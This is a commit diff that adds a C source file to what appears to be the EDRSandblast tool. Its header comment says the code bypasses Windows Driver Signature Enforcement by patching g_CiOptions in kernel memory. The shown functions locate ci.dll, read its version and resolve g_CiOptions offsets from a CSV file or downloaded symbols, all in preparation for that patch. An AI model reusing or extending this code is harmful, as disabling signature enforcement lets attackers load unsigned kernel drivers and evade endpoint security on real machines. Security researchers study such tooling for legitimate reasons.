Add feature : loading unsigned driver

2026-06-08 16:37:12 +00:00 · 2022-12-25 01:07:15 +01:00
parent 0bbe76aab1
commit 7be844b518
16 changed files with 427 additions and 6 deletions
@@ -0,0 +1,107 @@
+/*
+
+--- Functions to bypass Digital Signature Enforcement by disabling DSE through patching of the g_CiOptions attributes in memory.
+--- Full source and credit to https://j00ru.vexillium.org/2010/06/insight-into-the-driver-signature-enforcement/
+--- Code adapted from: https://github.com/kkent030315/gdrv-loader/tree/1909_mitigation
+
+*/
+
+#include <tchar.h>
+#include <stdio.h>
+
+#include "../EDRSandblast.h"
+#include "FileVersion.h"
+#include "PdbSymbols.h"
+
+#include "CiOffsets.h"
+
+union CiOffsets g_ciOffsets = { 0 };
+
+// Return the offsets of CI!g_CiOptions for the specific Windows version in use.
+void LoadCiOffsetsFromFile(TCHAR* ciOffsetFilename) {
+    LPTSTR ciVersion = GetCiVersion();
+    _tprintf_or_not(TEXT("[*] System's ci.dll file version is: %s\n"), ciVersion);
+
+    FILE* offsetFileStream = NULL;
+    _tfopen_s(&offsetFileStream, ciOffsetFilename, TEXT("r"));
+
+    if (offsetFileStream == NULL) {
+        _putts_or_not(TEXT("[!] Ci offsets CSV file not found / invalid. A valid offset file must be specifed!"));
+        return;
+    }
+
+    TCHAR lineCiVersion[256];
+    TCHAR line[2048];
+    while (_fgetts(line, _countof(line), offsetFileStream)) {
+        TCHAR* dupline = _tcsdup(line);
+        TCHAR* tmpBuffer = NULL;
+        _tcscpy_s(lineCiVersion, _countof(lineCiVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
+        if (_tcscmp(ciVersion, lineCiVersion) == 0) {
+            TCHAR* endptr;
+            _tprintf_or_not(TEXT("[+] Offsets are available for this version of ci.dll (%s)!"), ciVersion);
+            for (int i = 0; i < _SUPPORTED_CI_OFFSETS_END; i++) {
+                g_ciOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
+            }
+            break;
+        }
+    }
+    fclose(offsetFileStream);
+}
+
+void SaveCiOffsetsToFile(TCHAR* ciOffsetFilename) {
+    LPTSTR ciVersion = GetCiVersion();
+
+    FILE* offsetFileStream = NULL;
+    _tfopen_s(&offsetFileStream, ciOffsetFilename, TEXT("a"));
+
+    if (offsetFileStream == NULL) {
+        _putts_or_not(TEXT("[!] CI offsets CSV file cannot be opened"));
+        return;
+    }
+
+    _ftprintf(offsetFileStream, TEXT("%s"), ciVersion);
+    for (int i = 0; i < _SUPPORTED_CI_OFFSETS_END; i++) {
+        _ftprintf(offsetFileStream, TEXT(",%llx"), g_ciOffsets.ar[i]);
+    }
+    _fputts(TEXT(""), offsetFileStream);
+
+    fclose(offsetFileStream);
+}
+
+
+void LoadCiOffsetsFromInternet(BOOL delete_pdb) {
+    LPTSTR ciPath = GetCiPath();
+    symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(ciPath);
+    if (sym_ctx == NULL) {
+        return;
+    }
+    g_ciOffsets.st.g_CiOptions = GetSymbolOffset(sym_ctx, "g_CiOptions");
+    UnloadSymbols(sym_ctx, delete_pdb);
+}
+
+TCHAR g_ciPath[MAX_PATH] = { 0 };
+LPTSTR GetCiPath() {
+    if (_tcslen(g_ciPath) == 0) {
+        // Retrieves the system folder (eg C:\Windows\System32).
+        TCHAR systemDirectory[MAX_PATH] = { 0 };
+        GetSystemDirectory(systemDirectory, _countof(systemDirectory));
+
+        // Compute ci.dll path.
+        _tcscat_s(g_ciPath, _countof(g_ciPath), systemDirectory);
+        _tcscat_s(g_ciPath, _countof(g_ciPath), TEXT("\\ci.dll"));
+    }
+    return g_ciPath;
+}
+
+TCHAR g_ciVersion[256] = { 0 };
+LPTSTR GetCiVersion() {
+    if (_tcslen(g_ciVersion) == 0) {
+        LPTSTR ciPath = GetCiPath();
+
+        TCHAR versionBuffer[256] = { 0 };
+        GetFileVersion(versionBuffer, _countof(versionBuffer), ciPath);
+
+        _stprintf_s(g_ciVersion, 256, TEXT("ci_%s.dll"), versionBuffer);
+    }
+    return g_ciVersion;
+}